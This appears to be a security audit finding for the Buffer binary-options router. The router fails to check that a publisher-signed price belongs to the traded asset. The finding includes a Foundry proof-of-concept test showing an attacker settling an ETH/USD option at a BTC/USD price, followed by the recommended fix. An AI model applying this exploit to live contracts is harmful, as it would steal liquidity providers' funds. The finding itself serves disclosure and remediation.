The asset parameter coming from the publisher isn't validated in the resolveQueuedTrades function and may allow a bad actor to use a price coming from a different asset which doesn't match the pair for the target contract of the trade.
The function resolveQueuedTrades allows a keeper to process queued trades. This is done by submitting the identifier for the queued trade (queueId) and the matching price coming from the publisher (asset, price, timestamp and signature).
This happens around line 143, the relevant section is the following:
bool isSignerVerifed = _validateSigner(
currentParams.timestamp,
currentParams.asset,
currentParams.price,
currentParams.signature
);
// Silently fail if the signature doesn't match
if (!isSignerVerifed) {
emit FailResolve(
currentParams.queueId,
"Router: Signature didn't match"
);
continue;
}
if (
!queuedTrade.isQueued ||
currentParams.timestamp != queuedTrade.queuedTime
) {
// Trade has already been opened or canceled or the timestamp is wrong.
// So ignore this trade.
continue;
}The function correctly verifies the signature for the publisher params (using _validateSigner), it then correctly verifies that the publisher timestamp matches the trade timestamp (currentParams.timestamp != queuedTrade.queuedTime) but it fails to validate that the publisher asset matches the target contract from the queued trade (i.e. that the price pair from the publisher is the same pair as the binary option).
This represents a critical issue, since any price from any asset published by the publisher can be used to create the binary option.
It would then be trivial to correctly forecast the binary option result, just pick two assets that have dissimilar prices (for example BTC and ETH, see test below). An attacker can create a trade for the low priced asset setting isAbove == false and resolve it using the price for a high priced asset. When the option expires and the real price for the low priced asset is used it will certainly be in favor of the attacker. This will allow him to always end up ITM. The attacker can repeat the process until the pool is emptied and steal everything.
Note that this operation must be executed in part by the keeper. There are 3 possible scenarios:
- The router is operating in "public" keeper mode. This would allow anyone to pull the attack since the attacker can be the keeper.
- The keeper is the attacker, or is associated with the attacker, and will call
resolveQueuedTradeswith the invalid asset. - The keeper is accidentally working incorrectly and sends the price for another asset (for example, it always sends the same). An attacker can notice this and take advantage of the situation.
In the following test, we simulate an scenario where Alice (the attacker) creates a binary option for the "ETH/USD" pair while the keeper uses the publisher price for the "BTC/USD" price.
Following the example and taking current prices at the time this report is being filled, BTC is around $16500 and ETH around $1200. Alice can then create her trade for 16500 and the keeper can validate it correctly using the "BTC/USD" publisher feed. When the trade expires, the real price can be used (~1200) which will certainly be below the strike of $16500.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import "forge-std/Test.sol";
import "../src/core/BufferRouter.sol";
import "../src/core/BufferBinaryOptions.sol";
import "../src/core/BufferBinaryPool.sol";
import "../src/core/OptionsConfig.sol";
import "../src/core/ReferralStorage.sol";
import "../src/interfaces/Interfaces.sol";
import "../src/tokens/USDC.sol";
import "../src/tokens/BadERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract AuditPoolTest is Test {
bytes32 constant ROUTER_ROLE = keccak256("ROUTER_ROLE");
bytes32 constant OPTION_ISSUER_ROLE = keccak256("OPTION_ISSUER_ROLE");
event OpenTrade(address indexed account, uint256 queueId, uint256 optionId);
address owner;
uint256 publisherPrivateKey;
address publisher;
address feeRecipient;
address keeper;
address alice;
address bob;
function setUp() public {
owner = makeAddr("owner");
publisherPrivateKey = 0x1234;
publisher = vm.addr(publisherPrivateKey);
feeRecipient = makeAddr("feeRecipient");
keeper = makeAddr("keeper");
alice = makeAddr("alice");
bob = makeAddr("bob");
}
function test_BuffeRouter_resolveQueuedTrades_InvalidOracleAsset() public {
// Setup
vm.startPrank(owner);
USDC token = new USDC();
BufferBinaryPool pool = new BufferBinaryPool(token);
OptionsConfig config = new OptionsConfig(pool);
ReferralStorage referral = new ReferralStorage();
BufferBinaryOptions binary = new BufferBinaryOptions(
token,
pool,
config,
referral,
IBufferBinaryOptions.AssetCategory.Crypto,
"ETH/USDC"
);
BufferRouter router = new BufferRouter(publisher);
config.setSettlementFeeDisbursalContract(feeRecipient);
router.setContractRegistry(address(binary), true);
router.setKeeper(keeper, true);
binary.grantRole(ROUTER_ROLE, address(router));
binary.approvePoolToTransferTokenX();
pool.grantRole(OPTION_ISSUER_ROLE, address(binary));
// ensure pool has tokens
token.approve(address(pool), type(uint256).max);
pool.provide(10e6, 0);
vm.stopPrank();
// END Setup
// Provide Alice with tokens
uint256 amount = 1e6;
vm.prank(owner);
token.transfer(alice, amount);
// Alice creates a trade, expectedStrike is 16500
vm.prank(alice);
token.approve(address(router), type(uint256).max);
vm.prank(alice);
uint256 queueId = router.initiateTrade(
amount, // uint256 totalFee,
1 hours, // uint256 period,
false, // bool isAbove,
address(binary), // address targetContract,
16500, // uint256 expectedStrike,
5e2,// uint256 slippage,
true, // bool allowPartialFill,
"", // string memory referralCode,
0 // uint256 traderNFTId
);
// Now, publisher signs and publishes a price for a different asset, let's assume this is BTC/USD
address asset = makeAddr("BTC/USD binary option");
uint256 timestamp = block.timestamp;
uint256 price = 16500;
bytes32 digest = ECDSA.toEthSignedMessageHash(
keccak256(abi.encodePacked(timestamp, asset, price))
);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(publisherPrivateKey, digest);
// Keeper now uses this signature to execute resolveQueuedTrades
IBufferRouter.OpenTradeParams[] memory params = new IBufferRouter.OpenTradeParams[](1);
params[0].queueId = queueId;
params[0].timestamp = timestamp;
params[0].asset = asset;
params[0].price = price;
params[0].signature = abi.encodePacked(r,s,v);
// Expect the OpenTrade event which indicates the operation succeeded
vm.expectEmit(true, true, false, false);
emit OpenTrade(alice, queueId, 0);
vm.prank(keeper);
router.resolveQueuedTrades(params);
}
}None
Validate that the asset matches the targetContract param from the trade:
if (
!queuedTrade.isQueued ||
currentParams.timestamp != queuedTrade.queuedTime ||
currentParams.asset != queuedTrade.targetContract
) {
// Trade has already been opened or canceled, the timestamp is wrong or asset is wrong
// So ignore this trade.
continue;
}
...